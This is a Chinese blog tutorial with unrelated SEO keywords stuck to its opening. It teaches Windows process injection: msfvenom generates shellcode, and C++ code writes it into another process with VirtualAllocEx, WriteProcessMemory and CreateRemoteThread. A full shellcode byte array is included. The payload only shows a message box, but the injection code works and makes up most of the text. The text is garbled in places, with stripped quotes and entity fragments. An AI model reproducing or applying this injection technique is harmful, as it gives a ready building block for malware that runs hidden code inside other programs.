网站域名要钱嘛,网页设计总结报告,ui设计师作品集,中山软件开发公司shellcode#xff1a;本质上也是一段普通的代码#xff0c;只不过特殊的编程手法#xff0c;可以在任意环境下#xff0c;不依赖于原有的依赖库执行。
远程线程
#include iostream
#include windows.h
#include TlHelp32.hint main(){HANDLE hPr…shellcode本质上也是一段普通的代码只不过特殊的编程手法可以在任意环境下不依赖于原有的依赖库执行。
远程线程
#include iostream
#include windows.h
#include TlHelp32.hint main(){HANDLE hProcess OpenProcess(PROCESS_ALL_ACCESS,FALSE,19328);//创建在另一个进程的虚拟地址空间中运行的线程//跨进程创建线程CreateRemoteThread(hProcess,NULL,NULL,)system(pause);return 0;
}kali中借助生成shellcode 桌面打开终端msfconsole搜索payloadsearch MessageBox
use 2
show options另外打开一个终端msfvenom -p windows/messagebox TEXTWdIg -f c回车shellcode就出来了复制出来就行了
然后我们来继续写代码
#include iostream
#include windows.h
#include TlHelp32.h//这里粘贴上复制出来的代码int main(){//打开进程HANDLE hProcess OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020);//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。//简单理解指定进程上挖一个洞LPVOID lpBuffer VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//跨进程写入内存SIZE_T dwWrittensize 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,dwWrittensize);//创建远程进程DWORD ID;CreateRemoteThread(hProcess, //指定进程句柄NULL, //安全属性NULL, //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer, //函数指针远程进程中线程的起始地址NULL, //传递给线程函数的变量指针NULL, //创建标志这里是立刻执行ID //接收线程ID的指针);system(pause);return 0;
}这里给出我写出的一个完整代码ShellCode功能是MessageBox显示文本为WdIg
unsigned char buf[]
\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x57\x64\x49\x67\x31\xc9\x88\x4c\x24\x04\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08;int main()
{//打开进程HANDLE hProcess OpenProcess(PROCESS_ALL_ACCESS, FALSE, 12568);//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。//简单理解指定进程上挖一个洞LPVOID lpBuffer VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//跨进程写入内存SIZE_T dwWrittensize 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,dwWrittensize);//创建远程进程DWORD ID;CreateRemoteThread(hProcess, //指定进程句柄NULL, //安全属性NULL, //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer, //函数指针远程进程中线程的起始地址NULL, //传递给线程函数的变量指针NULL, //创建标志这里是立刻执行ID //接收线程ID的指针);system(pause);return 0;
}执行效果
这里的进程ID是任务管理器上看的大家可以创建进程快照遍历进程快照以注入到自己想要的进程中上一篇文章有讲到